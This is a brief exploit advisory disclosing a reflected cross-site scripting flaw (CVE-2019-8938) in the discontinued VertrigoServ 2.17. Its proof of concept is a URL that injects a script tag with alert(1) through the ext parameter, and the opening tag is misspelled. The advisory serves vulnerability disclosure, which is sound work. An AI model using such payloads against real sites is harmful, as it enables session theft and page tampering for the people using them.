VertrigoServ 2.17 Cross Site Scripting

`<!--  
# Exploit Title: Cross Site Scripting in VertrigoServ 2.17  
# Date: 17-02-2019  
# Exploit Author: Rafael Pedrero  
# Vendor Homepage: http://vertrigo.sf.net  
# Software Link: http://vertrigo.sf.net  
# Version: VertrigoServ 2.17  
# Tested on: All  
# CVE : CVE-2019-8938  
# Category: webapps  
  
1. Description  
  
VertrigoServ 2.17 allows XSS via the /inc/extensions.php ext parameter.  
NOTE: This product is discontinued.  
  
  
2. Proof of Concept  
  
http://127.0.0.1/inc/extensions.php?ext=<scrript>alert(1)</script>  
  
3. Solution:  
  
The product is discontinued. Update last version  
  
-->  
`